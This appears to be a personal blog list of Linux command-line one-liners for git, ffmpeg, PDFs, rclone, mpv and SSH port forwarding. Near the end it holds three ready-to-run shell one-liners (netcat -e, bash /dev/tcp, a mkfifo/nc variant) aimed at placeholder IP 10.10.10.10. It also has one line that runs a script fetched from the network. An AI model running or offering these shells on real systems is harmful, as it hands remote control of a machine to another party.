This is just a list of snippets I find usefull and intriguing. This is not a furnished list yet. The list includes mostly bash/command-line one-liners but I don’t want it to be restricted to just that. Hopefully will be having more of these and probably also have a search functionality once there are enough in number.
Using awk, tr, to get the remote info of a git repo
This will output the (fetch) remote of a git repository and put the contents into the clipboard
git remote -v | awk '{print $2}' | head -1 | tr -d '\n' | xsel -ib
Using image magick to create single color canvas
This create a 100x100 image with the color #131313
$ convert -size 100x100 canvas:#131313 canvas.png
Finding out your RAM details
$ sudo dmidecode --type 17
Recording Audio
$ arecord -f cd > sample.wav
It can also be piped to ffmpeg to encode it directly
$ arecord -f cd | ffmpeg -i - out.mp3
Generate random md5sums
This script will generate random md5sums and write to stdout and also write to
the file md5s
$ while ; do; dd status=none count=1 bs=8 if=/dev/urandom | md5sum | \
cut -d " " -f 1 | tee -a md5s; done
Get a random number from 0-10
$ expr $RANDOM % 10
Quickly convert a CRLF ascii-file (dos format) to unix ascii
$ cat old.txt | tr -d '\015' > new.txt
Translation on cmd line
$ gawk -f <(curl -Ls git.io/translate) -- -shell
See more: www.soimort.org/translate-shell/
Mount an MTP device
# To list the devices
$ simple-mtpfs -l
# To mount the device labeled '1'
$ simple-mtpfs --device 1 <mount path>
Refresh pacman keys
$ sudo pacman-key --refresh-keys
Record your screen
$ ffmpeg -video_size 1366x768 -f x11grab -i :0 rec`date +%s`.mp4
with audio:
$ ffmpeg -video_size 1366x768 -f x11grab -i :0 -f alsa -i default out.mkv
A good example of unix piping
This one liner downloads all the podcast episodes from notrelated.xyz This serves as more of an example to show the power and simplicity of piping.
$ curl -s https://notrelated.xyz/ | grep mp3 | cut -d '"' -f4 | xargs wget
More info about a file
using the -i
optoin of file
you can get some more info about the file like
the charset, mime type, etc
$ file -i file
Mount a cloud storage as filesystem
Using rclone. Will have to run rclone config
initially to set it up
$ rclone remote:path /path/to/mountpoint -vv --vfs-cache-mode full mount
-vv
- Verbose
--vfs-cache-mode
- cache mode set to ‘full’ (see manpage)
Display and control your android device
$ scrcpy
Record your android screen
$ adb shell screenrecord /sdcard/rec.mp4 && adb pull /sdcard/rec.mp4
Playing videos on a text console (tty)
mpv has an option to specifiy a video output driver (--vo=<driver>
) and one
of them is drm (Direct Rendering Manager). It Uses Kernel Mode Setting to
render video. It can be used if one doesn’t want to use a full-blown
graphical environment.
$ mpv --vo=drm --drm-connector=1.eDP-1 file.mp4
Here ‘1’ in drm-connector
is the the gpu number in case of multiple video
cards. Use drm-connector=help
to list the available connectors.
$ mpv --vo=gpu --gpu-context=drm --drm-connector=1.eDP-1 file.mp4
This version uses gpu acceleration.
Concatenating multiple media files using ffmpeg
A text file consisting of list of files to concatenate has to be created
file '/path/to/file1'
file '/path/to/file2'
file '/path/to/file3'
$ ffmpeg -f concat -safe 0 -i filelist.txt -c copy outputfile.<ext>
safe 0
is not required if the paths are relative
Splice a pdf
$ pdftk in.pdf cat 1-8 11-end output out.pdf
This will exclude the pages 9 and 10 from the ‘in.pdf’ and write it to out.pdf
Show a list of man pages using dmenu and select one
$ man -k . | dmenu | cut -d ' ' -f1 | xargs man
SSH Remote port forwarding
$ ssh -N -R 9000:localhost:5000 [email protected]
This forwards any requests sent on port 9000 of example.com to the localhost
port of 5000. So basically you are exposing port 5000 on your localhost.
The -N
flag just tells ssh to not log-in to the server
The following should be enabled in /etc/ssh/sshd_conf
of the ssh server
(at example.com):
AllowTcpForwarding yes
GatewayPorts yes
Get information about a YT video
$ ytdl -i https://youtu.be/KaEj_qZgiKY
ytdl comes with ‘python-pafy’ package on arch
Change pdf page size
$ pdfjam --outfile out.pdf --paper a4paper in.pdf
Reverse Shell using netcat
$ nc -e /bin/sh 10.10.10.10 1234
Reverse Shell using Bash
$ bash -i >& /dev/tcp/10.10.10.10/1234 0>&1
you then listen for a connection on remote with nc -l 1234
Reverse Shell using /bin/sh
$ rm -f /tmp/f; mkfifo /tmp/f
$ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 1234 > tmp/f
On remote simply connect using nc on port 1234.
This is actually documented in the man page of netcat that doesn’t have the
-e
/-c
option.
List the authors of a git repo in descending order of number of commits
$ git log --format='%an'| sort | uniq -c | sort -nr
A Python one-liner to convert a csv to json
$ python -c 'import csv,json,sys; print(json.dumps(list(csv.DictReader(sys.stdin))))'
Pipe into this a csv to get a json
Example:
$ curl -s imdb.com/list/ls020046354/export | python -c 'import csv,json,sys; print(json.dumps(list(csv.DictReader(sys.stdin))))'